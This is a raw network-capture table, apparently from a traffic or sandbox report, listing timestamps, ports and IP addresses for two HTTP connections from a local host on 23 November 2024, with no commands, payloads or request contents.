Nov 23, 2024 11:22:22.927426100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.927485943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.927546978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.927592993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.928255081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.928369999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.928437948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.928563118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.929299116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.929342985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.929419041 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.930253029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.930381060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.930421114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.931165934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.941370010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.984850883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.984874964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.984903097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.984918118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.989483118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.989604950 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.990736961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.990801096 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.990833044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.990936995 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.998831987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.998894930 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.998938084 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.998982906 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.007237911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.007286072 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.007334948 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.007383108 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.015646935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.015692949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.015714884 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.015763998 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.023896933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.023947001 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.024116993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.024203062 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.032257080 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.032306910 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.032396078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.032454967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.040680885 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.040811062 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.040823936 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.040882111 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.048955917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.049006939 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.049019098 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.049060106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.056616068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.056704044 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.056739092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.056791067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.064454079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.064500093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.093080997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.093219042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.093271971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.093502998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.093806982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.093852043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.094489098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.094707966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.094907045 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.095397949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.095570087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.095611095 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.096364975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.096538067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.096582890 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.097320080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.097544909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.097589016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.098556995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.098691940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.098743916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.099225998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.099355936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.099400043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.100115061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.100198030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.100303888 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.101042032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.101165056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.101218939 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.101947069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.102056980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.102133989 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.102885008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.102972984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.103054047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.103869915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.104113102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.104163885 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.104820967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.104934931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.105197906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.105684996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.105814934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.105865955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.106636047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.106967926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.107021093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.107728004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.107763052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.107805967 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.108501911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.108575106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.108619928 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.109447956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.109560966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.109601974 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.110443115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.110528946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.110574961 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.111341000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.111430883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.111464977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.112315893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.112445116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.112484932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.113229036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.113343954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.113439083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.114221096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.114372015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.114414930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.115081072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.115226030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.115310907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.116080999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.116216898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.116261959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.116952896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.117069960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.117106915 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.117960930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.117990971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.118072987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.118865013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.118922949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.118966103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.119842052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.119971037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.120070934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.120706081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.120831966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.121002913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.121646881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.121778011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.121838093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.122602940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.122735977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.122797012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.123713017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.123805046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.123899937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.124456882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.124569893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.124612093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.125484943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.125612974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.125665903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.126336098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.126418114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.126457930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.127299070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.127366066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.127487898 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.128237963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.128355980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.128398895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.129254103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.129283905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.129388094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.130158901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.130320072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.130362034 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.131021023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.131088018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.131177902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.131983995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.132164955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.132211924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.133102894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.133193970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.133224010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.133857965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.134108067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.134191036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.134809017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.134984016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.135034084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.135732889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.135828972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.135900974 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.136637926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.136744976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.136786938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.137311935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.137590885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.137733936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.137774944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.138535976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.138639927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.138681889 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.139452934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.139563084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.139647007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.140388966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.140479088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.140522957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.141324997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.141442060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.141488075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.142285109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.176903009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.177023888 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.177052021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.177064896 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.179382086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.179434061 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.179537058 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.184623957 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.184685946 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.186618090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.186691999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.187148094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.187196970 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.191571951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.191704988 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.191745043 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.196711063 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.196794987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.196867943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.196886063 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.197052956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.201608896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.201702118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.201713085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.201764107 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.206543922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.206600904 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.206634045 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.206679106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.211559057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.211612940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.211711884 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.216334105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.216383934 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.216449976 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.216496944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.221292019 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.221333027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.221358061 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.221384048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.226180077 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.226316929 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.226387978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.231090069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.231122971 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.231134892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.231172085 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.236018896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.236093998 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.236298084 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.236349106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.240891933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.240948915 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.240973949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.241458893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.245805979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.245898962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.245908976 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.245999098 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.250719070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.250775099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.250808954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.250824928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.255579948 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.255634069 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.303755999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.303946972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.304013014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.304243088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.304341078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.304444075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.305149078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.305283070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.305375099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.306097031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.306185961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.306608915 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.307015896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.307130098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.307173014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.307965040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.308106899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.308156013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.308878899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.309012890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.309052944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.309825897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.309968948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.310009956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.310812950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.310940027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.310986996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.311724901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.311824083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.311908007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.312653065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.312876940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.312958956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.313554049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.313668966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.313745975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.314512968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.314609051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.314716101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.315448046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.315665960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.315712929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.316373110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.316479921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.316536903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.317321062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.317431927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.317497969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.318267107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.318377972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.318511963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.319183111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.319350958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.319405079 CET	49786	80	192.168.2.4	34.116.198.130
